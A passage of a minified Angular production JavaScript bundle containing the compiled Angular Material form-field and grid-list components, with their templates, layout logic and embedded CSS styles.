Gt=b.getBoundingClientRect();if(0===Gt.width&&0===Gt.height)return this._outlineGapCalculationNeededOnStable=!0,void(this._outlineGapCalculationNeededImmediately=!1);const qt=this._getStartEnd(Gt),u1=m.children,c1=this._getStartEnd(u1[0].getBoundingClientRect());let It=0;for(let _t=0;_t<u1.length;_t++)It+=u1[_t].offsetWidth;Xe=Math.abs(c1-qt)-5,it=It>0?.75*It+10:0}for(let Gt=0;Gt<wt.length;Gt++)wt[Gt].style.width=`${Xe}px`;for(let Gt=0;Gt<Vt.length;Gt++)Vt[Gt].style.width=`${it}px`;this._outlineGapCalculationNeededOnStable=this._outlineGapCalculationNeededImmediately=!1}_getStartEnd(m){return this._dir&&"rtl"===this._dir.value?m.right:m.left}_isAttachedToDOM(){const m=this._elementRef.nativeElement;if(m.getRootNode){const b=m.getRootNode();return b&&b!==m}return document.documentElement.contains(m)}}return te.\\u0275fac=function(m){return new(m||te)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36(c.Is,8),s.Y36(Et,8),s.Y36(j.t4),s.Y36(s.R0b),s.Y36(s.QbO,8))},te.\\u0275cmp=s.Xpm({type:te,selectors:[["mat-form-field"]],contentQueries:function(m,b,B){if(1&m&&(s.Suo(B,dt,5),s.Suo(B,dt,7),s.Suo(B,xt,5),s.Suo(B,xt,7),s.Suo(B,Be,5),s.Suo(B,Ye,5),s.Suo(B,ve,5),s.Suo(B,pe,5),s.Suo(B,w,5)),2&m){let ie;s.iGM(ie=s.CRH())&&(b._controlNonStatic=ie.first),s.iGM(ie=s.CRH())&&(b._controlStatic=ie.first),s.iGM(ie=s.CRH())&&(b._labelChildNonStatic=ie.first),s.iGM(ie=s.CRH())&&(b._labelChildStatic=ie.first),s.iGM(ie=s.CRH())&&(b._placeholderChild=ie.first),s.iGM(ie=s.CRH())&&(b._errorChildren=ie),s.iGM(ie=s.CRH())&&(b._hintChildren=ie),s.iGM(ie=s.CRH())&&(b._prefixChildren=ie),s.iGM(ie=s.CRH())&&(b._suffixChildren=ie)}},viewQuery:function(m,b){if(1&m&&(s.Gf(U,7),s.Gf(G,5),s.Gf(Q,5)),2&m){let B;s.iGM(B=s.CRH())&&(b._connectionContainerRef=B.first),s.iGM(B=s.CRH())&&(b._inputContainerRef=B.first),s.iGM(B=s.CRH())&&(b._label=B.first)}},hostAttrs:[1,"mat-form-field"],hostVars:40,hostBindings:function(m,b){2&m&&s.ekj("mat-form-field-appearance-standard","standard"==b.appearance)("mat-form-field-appearance-fill","fill"==b.appearance)("mat-form-field-appearance-outline","outline"==b.appearance)("mat-form-field-appearance-legacy","legacy"==b.appearance)("mat-form-field-invalid",b._control.errorState)("mat-form-field-can-float",b._canLabelFloat())("mat-form-field-should-float",b._shouldLabelFloat())("mat-form-field-has-label",b._hasFloatingLabel())("mat-form-field-hide-placeholder",b._hideControlPlaceholder())("mat-form-field-disabled",b._control.disabled)("mat-form-field-autofilled",b._control.autofilled)("mat-focused",b._control.focused)("ng-untouched",b._shouldForward("untouched"))("ng-touched",b._shouldForward("touched"))("ng-pristine",b._shouldForward("pristine"))("ng-dirty",b._shouldForward("dirty"))("ng-valid",b._shouldForward("valid"))("ng-invalid",b._shouldForward("invalid"))("ng-pending",b._shouldForward("pending"))("_mat-animation-noopable",!b._animationsEnabled)},inputs:{color:"color",appearance:"appearance",hideRequiredMarker:"hideRequiredMarker",hintLabel:"hintLabel",floatLabel:"floatLabel"},exportAs:["matFormField"],features:[s._Bn([{provide:Dt,useExisting:te}]),s.qOj],ngContentSelectors:Oe,decls:15,vars:8,consts:[[1,"mat-form-field-wrapper"],[1,"mat-form-field-flex",3,"click"],["connectionContainer",""],[4,"ngIf"],["class","mat-form-field-prefix",3,"cdkObserveContentDisabled","cdkObserveContent",4,"ngIf"],[1,"mat-form-field-infix"],["inputContainer",""],[1,"mat-form-field-label-wrapper"],["class","mat-form-field-label",3,"cdkObserveContentDisabled","id","mat-empty","mat-form-field-empty","mat-accent","mat-warn","ngSwitch","cdkObserveContent",4,"ngIf"],["class","mat-form-field-suffix",4,"ngIf"],["class","mat-form-field-underline",4,"ngIf"],[1,"mat-form-field-subscript-wrapper",3,"ngSwitch"],[4,"ngSwitchCase"],["class","mat-form-field-hint-wrapper",4,"ngSwitchCase"],[1,"mat-form-field-outline"],[1,"mat-form-field-outline-start"],[1,"mat-form-field-outline-gap"],[1,"mat-form-field-outline-end"],[1,"mat-form-field-outline","mat-form-field-outline-thick"],[1,"mat-form-field-prefix",3,"cdkObserveContentDisabled","cdkObserveContent"],[1,"mat-form-field-label",3,"cdkObserveContentDisabled","id","ngSwitch","cdkObserveContent"],["label",""],["class","mat-placeholder-required mat-form-field-required-marker","aria-hidden","true",4,"ngIf"],["aria-hidden","true",1,"mat-placeholder-required","mat-form-field-required-marker"],[1,"mat-form-field-suffix"],[1,"mat-form-field-underline"],[1,"mat-form-field-ripple"],[1,"mat-form-field-hint-wrapper"],["class","mat-hint",3,"id",4,"ngIf"],[1,"mat-form-field-hint-spacer"],[1,"mat-hint",3,"id"]],template:function(m,b){1&m&&(s.F$t(le),s.TgZ(0,"div",0)(1,"div",1,2),s.NdJ("click",function(ie){return b._control.onContainerClick&&b._control.onContainerClick(ie)}),s.YNc(3,oe,9,0,"ng-container",3),s.YNc(4,Ce,2,1,"div",4),s.TgZ(5,"div",5,6),s.Hsn(7),s.TgZ(8,"span",7),s.YNc(9,ee,5,16,"label",8),s.qZA()(),s.YNc(10,q,2,0,"div",9),s.qZA(),s.YNc(11,we,2,4,"div",10),s.TgZ(12,"div",11),s.YNc(13,ce,2,1,"div",12),s.YNc(14,Ze,5,2,"div",13),s.qZA()()),2&m&&(s.xp6(3),s.Q6J("ngIf","outline"==b.appearance),s.xp6(1),s.Q6J("ngIf",b._prefixChildren.length),s.xp6(5),s.Q6J("ngIf",b._hasFloatingLabel()),s.xp6(1),s.Q6J("ngIf",b._suffixChildren.length),s.xp6(1),s.Q6J("ngIf","outline"!=b.appearance),s.xp6(1),s.Q6J("ngSwitch",b._getDisplayedMessages()),s.xp6(1),s.Q6J("ngSwitchCase","error"),s.xp6(1),s.Q6J("ngSwitchCase","hint"))},dependencies:[a.O5,a.RF,a.n9,n.wD],styles:[".mat-form-field{display:inline-block;position:relative;text-align:left}[dir=rtl] .mat-form-field{text-align:right}.mat-form-field-wrapper{position:relative}.mat-form-field-flex{display:inline-flex;align-items:baseline;box-sizing:border-box;width:100%}.mat-form-field-prefix,.mat-form-field-suffix{white-space:nowrap;flex:none;position:relative}.mat-form-field-infix{display:block;position:relative;flex:auto;min-width:0;width:180px}.cdk-high-contrast-active .mat-form-field-infix{border-image:linear-gradient(transparent, transparent)}.mat-form-field-label-wrapper{position:absolute;left:0;box-sizing:content-box;width:100%;height:100%;overflow:hidden;pointer-events:none}[dir=rtl] .mat-form-field-label-wrapper{left:auto;right:0}.mat-form-field-label{position:absolute;left:0;font:inherit;pointer-events:none;width:100%;white-space:nowrap;text-overflow:ellipsis;overflow:hidden;transform-origin:0 0;transition:transform 400ms cubic-bezier(0.25, 0.8, 0.25, 1),color 400ms cubic-bezier(0.25, 0.8, 0.25, 1),width 400ms cubic-bezier(0.25, 0.8, 0.25, 1);display:none}[dir=rtl] .mat-form-field-label{transform-origin:100% 0;left:auto;right:0}.cdk-high-contrast-active .mat-form-field-disabled .mat-form-field-label{color:GrayText}.mat-form-field-empty.mat-form-field-label,.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-label{display:block}.mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{display:none}.mat-form-field-can-float .mat-form-field-autofill-control:-webkit-autofill+.mat-form-field-label-wrapper .mat-form-field-label{display:block;transition:none}.mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-input-server[placeholder]:not(:placeholder-shown)+.mat-form-field-label-wrapper .mat-form-field-label{display:none}.mat-form-field-can-float .mat-input-server:focus+.mat-form-field-label-wrapper .mat-form-field-label,.mat-form-field-can-float .mat-input-server[placeholder]:not(:placeholder-shown)+.mat-form-field-label-wrapper .mat-form-field-label{display:block}.mat-form-field-label:not(.mat-form-field-empty){transition:none}.mat-form-field-underline{position:absolute;width:100%;pointer-events:none;transform:scale3d(1, 1.0001, 1)}.mat-form-field-ripple{position:absolute;left:0;width:100%;transform-origin:50%;transform:scaleX(0.5);opacity:0;transition:background-color 300ms cubic-bezier(0.55, 0, 0.55, 0.2)}.mat-form-field.mat-focused .mat-form-field-ripple,.mat-form-field.mat-form-field-invalid .mat-form-field-ripple{opacity:1;transform:none;transition:transform 300ms cubic-bezier(0.25, 0.8, 0.25, 1),opacity 100ms cubic-bezier(0.25, 0.8, 0.25, 1),background-color 300ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-subscript-wrapper{position:absolute;box-sizing:border-box;width:100%;overflow:hidden}.mat-form-field-subscript-wrapper .mat-icon,.mat-form-field-label-wrapper .mat-icon{width:1em;height:1em;font-size:inherit;vertical-align:baseline}.mat-form-field-hint-wrapper{display:flex}.mat-form-field-hint-spacer{flex:1 0 1em}.mat-error{display:block}.mat-form-field-control-wrapper{position:relative}.mat-form-field-hint-end{order:1}.mat-form-field._mat-animation-noopable .mat-form-field-label,.mat-form-field._mat-animation-noopable .mat-form-field-ripple{transition:none}",\'.mat-form-field-appearance-fill .mat-form-field-flex{border-radius:4px 4px 0 0;padding:.75em .75em 0 .75em}.cdk-high-contrast-active .mat-form-field-appearance-fill .mat-form-field-flex{outline:solid 1px}.cdk-high-contrast-active .mat-form-field-appearance-fill.mat-form-field-disabled .mat-form-field-flex{outline-color:GrayText}.cdk-high-contrast-active .mat-form-field-appearance-fill.mat-focused .mat-form-field-flex{outline:dashed 3px}.mat-form-field-appearance-fill .mat-form-field-underline::before{content:"";display:block;position:absolute;bottom:0;height:1px;width:100%}.mat-form-field-appearance-fill .mat-form-field-ripple{bottom:0;height:2px}.cdk-high-contrast-active .mat-form-field-appearance-fill .mat-form-field-ripple{height:0}.mat-form-field-appearance-fill:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{opacity:1;transform:none;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-fill._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{transition:none}.mat-form-field-appearance-fill .mat-form-field-subscript-wrapper{padding:0 1em}\',\'.mat-input-element{font:inherit;background:rgba(0,0,0,0);color:currentColor;border:none;outline:none;padding:0;margin:0;width:100%;max-width:100%;vertical-align:bottom;text-align:inherit;box-sizing:content-box}.mat-input-element:-moz-ui-invalid{box-shadow:none}.mat-input-element,.mat-input-element::-webkit-search-cancel-button,.mat-input-element::-webkit-search-decoration,.mat-input-element::-webkit-search-results-button,.mat-input-element::-webkit-search-results-decoration{-webkit-appearance:none}.mat-input-element::-webkit-contacts-auto-fill-button,.mat-input-element::-webkit-caps-lock-indicator,.mat-input-element:not([type=password])::-webkit-credentials-auto-fill-button{visibility:hidden}.mat-input-element[type=date],.mat-input-element[type=datetime],.mat-input-element[type=datetime-local],.mat-input-element[type=month],.mat-input-element[type=week],.mat-input-element[type=time]{line-height:1}.mat-input-element[type=date]::after,.mat-input-element[type=datetime]::after,.mat-input-element[type=datetime-local]::after,.mat-input-element[type=month]::after,.mat-input-element[type=week]::after,.mat-input-element[type=time]::after{content:" ";white-space:pre;width:1px}.mat-input-element::-webkit-inner-spin-button,.mat-input-element::-webkit-calendar-picker-indicator,.mat-input-element::-webkit-clear-button{font-size:.75em}.mat-input-element::placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element::-moz-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element::-webkit-input-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-input-element:-ms-input-placeholder{-webkit-user-select:none;user-select:none;transition:color 400ms 133.3333333333ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-hide-placeholder .mat-input-element::placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element::-moz-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::-moz-placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element::-webkit-input-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element::-webkit-input-placeholder{opacity:0}.mat-form-field-hide-placeholder .mat-input-element:-ms-input-placeholder{color:rgba(0,0,0,0) !important;-webkit-text-fill-color:rgba(0,0,0,0);transition:none}.cdk-high-contrast-active .mat-form-field-hide-placeholder .mat-input-element:-ms-input-placeholder{opacity:0}._mat-animation-noopable .mat-input-element::placeholder{transition:none}._mat-animation-noopable .mat-input-element::-moz-placeholder{transition:none}._mat-animation-noopable .mat-input-element::-webkit-input-placeholder{transition:none}._mat-animation-noopable .mat-input-element:-ms-input-placeholder{transition:none}textarea.mat-input-element{resize:vertical;overflow:auto}textarea.mat-input-element.cdk-textarea-autosize{resize:none}textarea.mat-input-element{padding:2px 0;margin:-2px 0}select.mat-input-element{-moz-appearance:none;-webkit-appearance:none;position:relative;background-color:rgba(0,0,0,0);display:inline-flex;box-sizing:border-box;padding-top:1em;top:-1em;margin-bottom:-1em}select.mat-input-element::-moz-focus-inner{border:0}select.mat-input-element:not(:disabled){cursor:pointer}.mat-form-field-type-mat-native-select .mat-form-field-infix::after{content:"";width:0;height:0;border-left:5px solid rgba(0,0,0,0);border-right:5px solid rgba(0,0,0,0);border-top:5px solid;position:absolute;top:50%;right:0;margin-top:-2.5px;pointer-events:none}[dir=rtl] .mat-form-field-type-mat-native-select .mat-form-field-infix::after{right:auto;left:0}.mat-form-field-type-mat-native-select .mat-input-element{padding-right:15px}[dir=rtl] .mat-form-field-type-mat-native-select .mat-input-element{padding-right:0;padding-left:15px}.mat-form-field-type-mat-native-select .mat-form-field-label-wrapper{max-width:calc(100% - 10px)}.mat-form-field-type-mat-native-select.mat-form-field-appearance-outline .mat-form-field-infix::after{margin-top:-5px}.mat-form-field-type-mat-native-select.mat-form-field-appearance-fill .mat-form-field-infix::after{margin-top:-10px}\',".mat-form-field-appearance-legacy .mat-form-field-label{transform:perspective(100px)}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon{width:1em}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon-button,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon-button{font:inherit;vertical-align:baseline}.mat-form-field-appearance-legacy .mat-form-field-prefix .mat-icon-button .mat-icon,.mat-form-field-appearance-legacy .mat-form-field-suffix .mat-icon-button .mat-icon{font-size:inherit}.mat-form-field-appearance-legacy .mat-form-field-underline{height:1px}.cdk-high-contrast-active .mat-form-field-appearance-legacy .mat-form-field-underline{height:0;border-top:solid 1px}.mat-form-field-appearance-legacy .mat-form-field-ripple{top:0;height:2px;overflow:hidden}.cdk-high-contrast-active .mat-form-field-appearance-legacy .mat-form-field-ripple{height:0;border-top:solid 2px}.mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{background-position:0;background-color:rgba(0,0,0,0)}.cdk-high-contrast-active .mat-form-field-appearance-legacy.mat-form-field-disabled .mat-form-field-underline{border-top-style:dotted;border-top-width:2px;border-top-color:GrayText}.mat-form-field-appearance-legacy.mat-form-field-invalid:not(.mat-focused) .mat-form-field-ripple{height:1px}",".mat-form-field-appearance-outline .mat-form-field-wrapper{margin:.25em 0}.mat-form-field-appearance-outline .mat-form-field-flex{padding:0 .75em 0 .75em;margin-top:-0.25em;position:relative}.mat-form-field-appearance-outline .mat-form-field-prefix,.mat-form-field-appearance-outline .mat-form-field-suffix{top:.25em}.mat-form-field-appearance-outline .mat-form-field-outline{display:flex;position:absolute;top:.25em;left:0;right:0;bottom:0;pointer-events:none}.mat-form-field-appearance-outline .mat-form-field-outline-start,.mat-form-field-appearance-outline .mat-form-field-outline-end{border:1px solid currentColor;min-width:5px}.mat-form-field-appearance-outline .mat-form-field-outline-start{border-radius:5px 0 0 5px;border-right-style:none}[dir=rtl] .mat-form-field-appearance-outline .mat-form-field-outline-start{border-right-style:solid;border-left-style:none;border-radius:0 5px 5px 0}.mat-form-field-appearance-outline .mat-form-field-outline-end{border-radius:0 5px 5px 0;border-left-style:none;flex-grow:1}[dir=rtl] .mat-form-field-appearance-outline .mat-form-field-outline-end{border-left-style:solid;border-right-style:none;border-radius:5px 0 0 5px}.mat-form-field-appearance-outline .mat-form-field-outline-gap{border-radius:.000001px;border:1px solid currentColor;border-left-style:none;border-right-style:none}.mat-form-field-appearance-outline.mat-form-field-can-float.mat-form-field-should-float .mat-form-field-outline-gap{border-top-color:rgba(0,0,0,0)}.mat-form-field-appearance-outline .mat-form-field-outline-thick{opacity:0}.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-start,.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-end,.mat-form-field-appearance-outline .mat-form-field-outline-thick .mat-form-field-outline-gap{border-width:2px}.mat-form-field-appearance-outline.mat-focused .mat-form-field-outline,.mat-form-field-appearance-outline.mat-form-field-invalid .mat-form-field-outline{opacity:0;transition:opacity 100ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick,.mat-form-field-appearance-outline.mat-form-field-invalid .mat-form-field-outline-thick{opacity:1}.cdk-high-contrast-active .mat-form-field-appearance-outline.mat-focused .mat-form-field-outline-thick{border:3px dashed}.mat-form-field-appearance-outline:not(.mat-form-field-disabled) .mat-form-field-flex:hover .mat-form-field-outline{opacity:0;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-outline:not(.mat-form-field-disabled) .mat-form-field-flex:hover .mat-form-field-outline-thick{opacity:1}.mat-form-field-appearance-outline .mat-form-field-subscript-wrapper{padding:0 1em}.cdk-high-contrast-active .mat-form-field-appearance-outline.mat-form-field-disabled .mat-form-field-outline{color:GrayText}.mat-form-field-appearance-outline._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-outline,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-start,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-end,.mat-form-field-appearance-outline._mat-animation-noopable .mat-form-field-outline-gap{transition:none}",".mat-form-field-appearance-standard .mat-form-field-flex{padding-top:.75em}.mat-form-field-appearance-standard .mat-form-field-underline{height:1px}.cdk-high-contrast-active .mat-form-field-appearance-standard .mat-form-field-underline{height:0;border-top:solid 1px}.mat-form-field-appearance-standard .mat-form-field-ripple{bottom:0;height:2px}.cdk-high-contrast-active .mat-form-field-appearance-standard .mat-form-field-ripple{height:0;border-top:solid 2px}.mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{background-position:0;background-color:rgba(0,0,0,0)}.cdk-high-contrast-active .mat-form-field-appearance-standard.mat-form-field-disabled .mat-form-field-underline{border-top-style:dotted;border-top-width:2px}.mat-form-field-appearance-standard:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{opacity:1;transform:none;transition:opacity 600ms cubic-bezier(0.25, 0.8, 0.25, 1)}.mat-form-field-appearance-standard._mat-animation-noopable:not(.mat-form-field-disabled) .mat-form-field-flex:hover~.mat-form-field-underline .mat-form-field-ripple{transition:none}"],encapsulation:2,data:{animation:[Ke.transitionMessages]},changeDetection:0}),te})(),Ie=(()=>{class te{}return te.\\u0275fac=function(m){return new(m||te)},te.\\u0275mod=s.oAB({type:te}),te.\\u0275inj=s.cJS({imports:[a.ez,u.BQ,n.Q8,u.BQ]}),te})()},782:(At,ae,d)=>{"use strict";d.d(ae,{DX:()=>z,Il:()=>we,N6:()=>ce});var n=d(4650),a=d(3238),s=d(1281),u=d(445);const c=["*"];class S{constructor(){this.columnIndex=0,this.rowIndex=0}get rowCount(){return this.rowIndex+1}get rowspan(){const le=Math.max(...this.tracker);return le>1?this.rowCount+le-1:this.rowCount}update(le,Oe){this.columnIndex=0,this.rowIndex=0,this.tracker=new Array(le),this.tracker.fill(0,0,this.tracker.length),this.positions=Oe.map(Qe=>this._trackTile(Qe))}_trackTile(le){const Oe=this._findMatchingGap(le.colspan);return this._markTilePosition(Oe,le),this.columnIndex=Oe+le.colspan,new g(this.rowIndex,Oe)}_findMatchingGap(le){let Oe=-1,Qe=-1;do{this.columnIndex+le>this.tracker.length?(this._nextRow(),Oe=this.tracker.indexOf(0,this.columnIndex),Qe=this._findGapEndIndex(Oe)):(Oe=this.tracker.indexOf(0,this.columnIndex),-1!=Oe?(Qe=this._findGapEndIndex(Oe),this.columnIndex=Oe+1):(this._nextRow(),Oe=this.tracker.indexOf(0,this.columnIndex),Qe=this._findGapEndIndex(Oe)))}while(Qe-Oe<le||0==Qe);return Math.max(Oe,0)}_nextRow(){this.columnIndex=0,this.rowIndex++;for(let le=0;le<this.tracker.length;le++)this.tracker[le]=Math.max(0,this.tracker[le]-1)}_findGapEndIndex(le){for(let Oe=le+1;Oe<this.tracker.length;Oe++)if(0!=this.tracker[Oe])return Oe;return this.tracker.length}_markTilePosition(le,Oe){for(let Qe=0;Qe<Oe.colspan;Qe++)this.tracker[le+Qe]=Oe.rowspan}}class g{constructor(le,Oe){this.row=le,this.col=Oe}}const C=new n.OlP("MAT_GRID_LIST");let z=(()=>{class Ze{constructor(Oe,Qe){this._element=Oe,this._gridList=Qe,this._rowspan=1,this._colspan=1}get rowspan(){return this._rowspan}set rowspan(Oe){this._rowspan=Math.round((0,s.su)(Oe))}get colspan(){return this._colspan}set colspan(Oe){this._colspan=Math.round((0,s.su)(Oe))}_setStyle(Oe,Qe){this._element.nativeElement.style[Oe]=Qe}}return Ze.\\u0275fac=function(Oe){return new(Oe||Ze)(n.Y36(n.SBq),n.Y36(C,8))},Ze.\\u0275cmp=n.Xpm({type:Ze,selectors:[["mat-grid-tile"]],hostAttrs:[1,"mat-grid-tile"],hostVars:2,hostBindings:function(Oe,Qe){2&Oe&&n.uIk("rowspan",Qe.rowspan)("colspan",Qe.colspan)},inputs:{rowspan:"rowspan",colspan:"colspan"},exportAs:["matGridTile"],ngContentSelectors:c,decls:2,vars:0,consts:[[1,"mat-grid-tile-content"]],template:function(Oe,Qe){1&Oe&&(n.F$t(),n.TgZ(0,"div",0),n.Hsn(1),n.qZA())},styles:[".mat-grid-list{display:block;position:relative}.mat-grid-tile{display:block;position:absolute;overflow:hidden}.mat-grid-tile .mat-grid-tile-header,.mat-grid-tile .mat-grid-tile-footer{display:flex;align-items:center;height:48px;color:#fff;background:rgba(0,0,0,.38);overflow:hidden;padding:0 16px;position:absolute;left:0;right:0}.mat-grid-tile .mat-grid-tile-header>*,.mat-grid-tile .mat-grid-tile-footer>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-grid-tile .mat-grid-tile-header.mat-2-line,.mat-grid-tile .mat-grid-tile-footer.mat-2-line{height:68px}.mat-grid-tile .mat-grid-list-text{display:flex;flex-direction:column;flex:auto;box-sizing:border-box;overflow:hidden}.mat-grid-tile .mat-grid-list-text>*{margin:0;padding:0;font-weight:normal;font-size:inherit}.mat-grid-tile .mat-grid-list-text:empty{display:none}.mat-grid-tile .mat-grid-tile-header{top:0}.mat-grid-tile .mat-grid-tile-footer{bottom:0}.mat-grid-tile .mat-grid-avatar{padding-right:16px}[dir=rtl] .mat-grid-tile .mat-grid-avatar{padding-right:0;padding-left:16px}.mat-grid-tile .mat-grid-avatar:empty{display:none}.mat-grid-tile-content{top:0;left:0;right:0;bottom:0;position:absolute;display:flex;align-items:center;justify-content:center;height:100%;padding:0;margin:0}"],encapsulation:2,changeDetection:0}),Ze})();const Q=/^-?\\d+((\\.\\d+)?[A-Za-z%$]?)+$/;class oe{constructor(){this._rows=0,this._rowspan=0}init(le,Oe,Qe,Ye){this._gutterSize=ee(le),this._rows=Oe.rowCount,this._rowspan=Oe.rowspan,this._cols=Qe,this._direction=Ye}getBaseTileSize(le,Oe){return`(${le}% - (${this._gutterSize} * ${Oe}))`}getTilePosition(le,Oe){return 0===Oe?"0":se(`(${le} + ${this._gutterSize}) * ${Oe}`)}getTileSize(le,Oe){return`(${le} * ${Oe}) + (${Oe-1} * ${this._gutterSize})`}setStyle(le,Oe,Qe){let Ye=100/this._cols,qe=(this._cols-1)/this._cols;this.setColStyles(le,Qe,Ye,qe),this.setRowStyles(le,Oe,Ye,qe)}setColStyles(le,Oe,Qe,Ye){let qe=this.getBaseTileSize(Qe,Ye);le._setStyle("rtl"===this._direction?"right":"left",this.getTilePosition(qe,Oe)),le._setStyle("width",se(this.getTileSize(qe,le.colspan)))}getGutterSpan(){return`${this._gutterSize} * (${this._rowspan} - 1)`}getTileSpan(le){return`${this._rowspan} * ${this.getTileSize(le,1)}`}getComputedHeight(){return null}}class Ce extends oe{constructor(le){super(),this.fixedRowHeight=le}init(le,Oe,Qe,Ye){super.init(le,Oe,Qe,Ye),this.fixedRowHeight=ee(this.fixedRowHeight),Q.test(this.fixedRowHeight)}setRowStyles(le,Oe){le._setStyle("top",this.getTilePosition(this.fixedRowHeight,Oe)),le._setStyle("height",se(this.getTileSize(this.fixedRowHeight,le.rowspan)))}getComputedHeight(){return["height",se(`${this.getTileSpan(this.fixedRowHeight)} + ${this.getGutterSpan()}`)]}reset(le){le._setListStyle(["height",null]),le._tiles&&le._tiles.forEach(Oe=>{Oe._setStyle("top",null),Oe._setStyle("height",null)})}}class k extends oe{constructor(le){super(),this._parseRatio(le)}setRowStyles(le,Oe,Qe,Ye){this.baseTileHeight=this.getBaseTileSize(Qe/this.rowHeightRatio,Ye),le._setStyle("marginTop",this.getTilePosition(this.baseTileHeight,Oe)),le._setStyle("paddingTop",se(this.getTileSize(this.baseTileHeight,le.rowspan)))}getComputedHeight(){return["paddingBottom",se(`${this.getTileSpan(this.baseTileHeight)} + ${this.getGutterSpan()}`)]}reset(le){le._setListStyle(["paddingBottom",null]),le._tiles.forEach(Oe=>{Oe._setStyle("marginTop",null),Oe._setStyle("paddingTop",null)})}_parseRatio(le){const Oe=le.split(":");this.rowHeightRatio=parseFloat(Oe[0])/parseFloat(Oe[1])}}class K extends oe{setRowStyles(le,Oe){let qe=this.getBaseTileSize(100/this._rowspan,(this._rows-1)/this._rows);le._setStyle("top",this.getTilePosition(qe,Oe)),le._setStyle("height",se(this.getTileSize(qe,le.rowspan)))}reset(le){le._tiles&&le._tiles.forEach(Oe=>{Oe._setStyle("top",null),Oe._setStyle("height",null)})}}function se(Ze){return`calc(${Ze})`}function ee(Ze){return Ze.match(/([A-Za-z%]+)$/)?Ze:`${Ze}px`}let we=(()=>{class Ze{constructor(Oe,Qe){this._element=Oe,this._dir=Qe,this._gutter="1px"}get cols(){return this._cols}set cols(Oe){this._cols=Math.max(1,Math.round((0,s.su)(Oe)))}get gutterSize(){return this._gutter}set gutterSize(Oe){this._gutter=`${Oe??""}`}get rowHeight(){return this._rowHeight}set rowHeight(Oe){const Qe=`${Oe??""}`;Qe!==this._rowHeight&&(this._rowHeight=Qe,this._setTileStyler(this._rowHeight))}ngOnInit(){this._checkCols(),this._checkRowHeight()}ngAfterContentChecked(){this._layoutTiles()}_checkCols(){}_checkRowHeight(){this._rowHeight||this._setTileStyler("1:1")}_setTileStyler(Oe){this._tileStyler&&this._tileStyler.reset(this),this._tileStyler="fit"===Oe?new K:Oe&&Oe.indexOf(":")>-1?new k(Oe):new Ce(Oe)}_layoutTiles(){this._tileCoordinator||(this._tileCoordinator=new S);const Oe=this._tileCoordinator,Qe=this._tiles.filter(qe=>!qe._gridList||qe._gridList===this),Ye=this._dir?this._dir.value:"ltr";this._tileCoordinator.update(this.cols,Qe),this._tileStyler.init(this.gutterSize,Oe,this.cols,Ye),Qe.forEach((qe,Ke)=>{const dt=Oe.positions[Ke];this._tileStyler.setStyle(qe,dt.row,dt.col)}),this._setListStyle(this._tileStyler.getComputedHeight())}_setListStyle(Oe){Oe&&(this._element.nativeElement.style[Oe[0]]=Oe[1])}}return Ze.\\u0275fac=function(Oe){return new(Oe||Ze)(n.Y36(n.SBq),n.Y36(u.Is,8))},Ze.\\u0275cmp=n.Xpm({type:Ze,selectors:[["mat-grid-list"]],contentQueries:function(Oe,Qe,Ye){if(1&Oe&&n.Suo(Ye,z,5),2&Oe){let qe;n.iGM(qe=n.CRH())&&(Qe._tiles=qe)}},hostAttrs:[1,"mat-grid-list"],hostVars:1,hostBindings:function(Oe,Qe){2&Oe&&n.uIk("cols",Qe.cols)},inputs:{cols:"cols",gutterSize:"gutterSize",rowHeight:"rowHeight"},exportAs:["matGridList"],features:[n._Bn([{provide:C,useExisting:Ze}])],ngContentSelectors:c,decls:2,vars:0,template:function(Oe,Qe){1&Oe&&(n.F$t(),n.TgZ(0,"div"),n.Hsn(1),n.qZA())},styles:[".mat-grid-list{display:block;position:relative}.mat-grid-tile{display:block;position:absolute;overflow:hidden}.mat-grid-tile .mat-grid-tile-header,.mat-grid-tile 